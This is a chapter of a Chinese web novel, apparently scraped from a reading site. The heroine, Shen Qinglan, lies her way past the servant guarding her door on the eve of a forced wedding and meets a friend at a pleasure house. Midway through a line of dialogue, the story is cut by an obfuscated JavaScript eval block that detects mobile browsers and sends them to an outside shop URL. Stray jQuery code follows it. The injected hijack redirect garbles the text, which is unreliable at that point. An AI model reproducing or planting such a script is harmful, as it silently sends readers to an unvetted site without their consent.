初九,宜赘郎,宜迁宅,宜祭祀。
不过是被关了两天的功夫某人已经快坐不住了。
沈清岚在卧房里抱着小人书,上面的画一点也看不进去。
明日就是初九了,不行。她不能就这么干耗着。
她猛地一个鲤鱼打挺从床板上坐起来,把手里的书往枕头下面一塞。
算着时间差不多了。
果真,在她盯着房门数到第三个数,恰好端午就推门而入。他手里端着老夫人吩咐送进来的晚膳。要是错过这次,明天可就真要去替姐姐拜堂了。
端午没想到二小姐站在门口,进来的一点防备没有就直接撞在她身上。碗里的汤汁撞着碗沿一下子没收住溅在沈清岚胸口晕湿了一片。
“对……对不起!小姐我不是故意弄撒的……”端午吓了一跳,赶紧把手上端着的饭菜放下低着头给沈清岚道歉。
她装作生气的模样声音略大道:“怎么不看着路,这下衣裳都湿透了,我要去沐浴更衣。”
端午抬眸,“我也没想到您会站在这呀,小姐你不会是还不死心吧?”
听她说要沐浴端午直摇脑袋,一副我不会再上当的模样,又道:“不行,老夫人说了您不能出去,你要真是想沐浴,我去叫人把浴盆端进来。”
眼看端午这家伙学聪明了一点也不上套,沈清岚眼珠子一转忽然伸手拉住他的手腕。
端午还以为自家二小姐动手吓得抖起来,磕磕巴巴道:“您……您也不能打人呀!”
随后他露出英勇赴死的表情心一横闭上眼道:“您今天就是打死我也不会放您出去的!”
沈清岚叹了一口气,道:“你误会我了,我是那样的人吗?”
端午缩着的脖子终于放松下来些,但依旧保持着警惕。他把眼睛睁开一条缝,看见自家二小姐的表情的确不像是要打人。
“你知道明天是什么日子么?”
这不是明知故问,今日下聘的婚书都已写好送到陆家了。端午丝毫不带犹豫的答道:“当然是少主的新婚,咱们沈府大喜的日子。”
“不是,还有。”
“还有……?”
这下端午是真不知道了。
只听见沈清岚解释道:“明天是秋儿的生辰,我之前答应过他会去给他庆生。你也知道他的性子,我要是不去他肯定会闹脾气的。”
这么一提,端午好像有些印象。前阵子齐家的那位小少爷穿的花枝招展的跟着齐广之来拜访沈家的时候不知道强调了多少次。
这齐家和沈家的两位当家的是一对好姐妹,算得上是世交。所以自然这跟着两家的小辈久而久之的也都相熟了。
沈清岚口中的“秋儿”就是齐家的小男儿,性子娇气的很。齐家嫡出的一女一儿,也就是正夫所出的的两个孩子。嫡女名唤齐广之,嫡子名唤齐秋儿。其余庶出的几个也皆是女儿。也因为就这一个男儿,齐母格外骄纵。
男儿又不用继承家业,没什么负担。无非是喜欢些金银珠宝亦或者是那些漂亮的衣裳和首饰。齐家从来也不缺他,只要是齐秋儿喜欢的东西,便是瞥一眼立刻就有人送到他面前。特别是那些巴结齐的家的人,没少讨好齐秋儿。
沈清岚和齐秋儿因为母亲的缘故从出生就认识彼此,算得上是青梅竹马。
端午觉得这两人倒是般配的很,好像彼此之间也都有那个意思。不过这齐秋儿嘴上虽然从不说喜欢,但经常找各种借口来找沈清岚。
沈清岚又和他姐姐齐广之是一对狐朋狗友不说,还是私塾的同窗。他便隔三差五的以齐广之为借口每次都非要缠着跟她们俩一起出去。虽然不情愿,但也赶不走。
齐秋儿是块甩不掉的狗皮膏药。
“齐公子的生辰宴和婚期撞上了,这实在没办法。老夫人肯定也是知道的。”端午硬着头皮答道。
沈清岚自然知道这么说行不通,所以早就想好了退而求其次。端午不是个心硬的人,只要耐住性子磨一磨就能撬开他的嘴。
“我自然知道,不过我心里实在难受的厉害。我俩的关系你也清楚,我一想到明日因为这事儿去不了,他肯定要在家哭鼻子,我这心里啊就过意不去。”说着,沈清岚抬手抚着心口,眉头也蹙在一起,一副深情的样子。
紧接着她又开口:“明日去不了不错,我今天起码要把提前准备好的生辰礼亲自送到他手上去。昨日他还特意寄信来,就是说知道明日我来不了,他让我务必提前过去见他一面。”
话都说到这种份儿上了,端午听得也不忍心让这对他认为的一对佳人就这样闹隔阂。可他心里还是有些犹豫:“可是老夫人说……”
“我知道我爹交代你的事,不准我踏出这房门半步。规矩是死的,可人是活的啊。你怎么就一点儿也不会变通呢?”
难道端午这家伙看出她撒谎了?她仔细的观察着他的表情,看他纠结的神情也不像是看出来端倪,于是又趁热打铁道:“真的,我怎么会拿这种事晃你。我保证就一个时辰,出去一个时辰之后我肯定会回来。”
“这件事你可别让我爹他知道了。就当你帮我了,端午。”
良久,端午终于还是点点头:“好吧,您可一定要尽快回来。老夫人那边我先不说。”
“不过您要是过了一个时辰还没回来,那我就真的要告诉夫人了。”
“那是自然。”
自然是不会再回来,傻子才会好不容易跑出去再自己回来等着明天拜堂。
——
“你爹舍得让你出来了?”
齐广之狐疑的看着面前站着的人,沈家的事情她可是早就从母亲口中听说,自然也包括沈清岚被她爹关起来的事情。
可现在本应该在沈家好好呆着的人竟然就这样跑出来了,她嗅到了一丝异样。
“你这家伙不会是偷跑出来的吧。”
沈清岚也没打算藏着掖着,她揽住齐广之的肩膀。“你说呢,我爹可能那么好心现在把我放出来么。自然是偷跑出来的。”
齐广之翻了个白眼,“就知道你找我肯定是没好事。所以你特意寄这玩意儿来,就是为了让秋儿给你打掩护?好你个沈清岚,我给你说到时候他闹起来我可管不住,你让我们姐俩背黑锅。”
说着齐广之从怀里掏出那封信晃了晃,这正是昨日沈清岚以写给沈秋儿回信的名义写给齐广之的。这沈秋儿还被蒙在鼓里,被沈清岚这家伙做了局也一点不知情。
信中约定的见面的地点是江城的寻春楼。
不过齐广之也果真没有放她鸽子,还是来赴约了。
“所以你不是照样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844579|211719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来了,反正到时候说起来……”
沈清岚和她对视的瞬间齐广之就明了她的意图,不过这样忒不地道了点。可转念一想她那个弟弟恐怕当真知道也不会拿沈清岚如何。
沈清岚紧接着又道:“说起来就只能委屈秋儿了。”
寻春楼外两女子并肩而立,其中一人手持玉柄折扇,手那么一抖扇面随之打开来,只见绫面绘鹤,好不张扬的迈着步子。一旁那人则稍显狼狈,二人一前一后迈进来。
二楼的老鸨正招呼着将客人送进去,只低头一眼便认出刚进来的二人。
着二人可是寻春楼的常客,也是大客户。
他急忙提着衣摆扶着木质的扶梯从二楼匆忙的迈着步子走下来,不过眨眼的功夫就凑到二人跟前,脸上夹带着笑意。
道:“沈姑娘,齐姑娘来了,大驾光临。二位还是二楼雅间?”
沈清岚瞥了他一眼,老鸨依旧是浓妆艳抹的样子,脸上那笑意荡漾开,活脱脱看见俩行走的银票露出来的表情。
她微微点头,老鸨会意,便伸手让出一条道来,“请。”
老鸨带着两人来到二楼向着最西边的厢房走去,这位置正对着楼下正中央的舞台,也是最佳的观赏区。
随着老鸨将门拉开,只见厢房中间是一张四方的梨花木桌,左右各一张软凳。
厢房较为宽敞,离方桌不远处则是点了熏香的地笼。这东西用处可大着,来这种地方的人都是奔着寻欢作乐来的,所以有时也会在里面燃些特有的熏香助兴。
沈齐二人是这里的常客,每次也会点几个漂亮的美人相伴。二人算得上是酒搭子,又喜欢看美人弹琴奏乐,便经常来这地方喝酒。
既有美酒又有美人在侧。
女人自然天生抗拒不了漂亮的事物,沈清岚也不例外。
她的爱好无非是观美人抚琴奏乐,饮酒作乐。
二人落座,齐广之将摇摆的扇面合拢,用玉柄敲了敲桌子看向老鸨。“老规矩,来壶十月白。”
沈清岚听见这话抬手,按住她的扇柄道:“十月白哪里喝的尽兴,再加上两壶扶头酥。”
闻言齐广之挑眉,但也并未开口制止。
老鸨也没多问,客人的事情可不是他能打听的,看今日两人不似平日那般,虽有些奇怪但还是应下来。
道:“哎,这就记下来了。”
说完这老鸨便识趣的关上厢房的门出去。片刻后一位穿着淡粉色花裙的段松泠便端着盘子扭进来,沈清岚兴致缺缺的坐在那发呆也不知想些什么事,并未抬眼去看。
齐广之挑眉把目光从她身上移到那小倌的细腰上。
三个白玉壶乘着的酒被放下,段松泠的弯着腰,几缕青丝不动声色的从肩头滑落,似是无意般擦过沈清岚的耳畔。她微微蹙眉,几乎是立刻反应过来向另一侧躲开。
段松泠娇怯,惊措道:“啊,抱歉。沈姑娘我不是故意的。”
他感觉到沈清岚下意识躲闪的动作眼中闪过一丝不易察觉的失落,这一幕沈清岚自己看不到,却落在了齐广之眼里。
沈清岚摆摆手:“我知道,你先下去吧。”
他轻声应下,扭着那纤细的腰肢走到门口欲言又止,末了才鼓足勇气般道:“今日是泠儿第一次上台,还请沈姑娘垂怜。”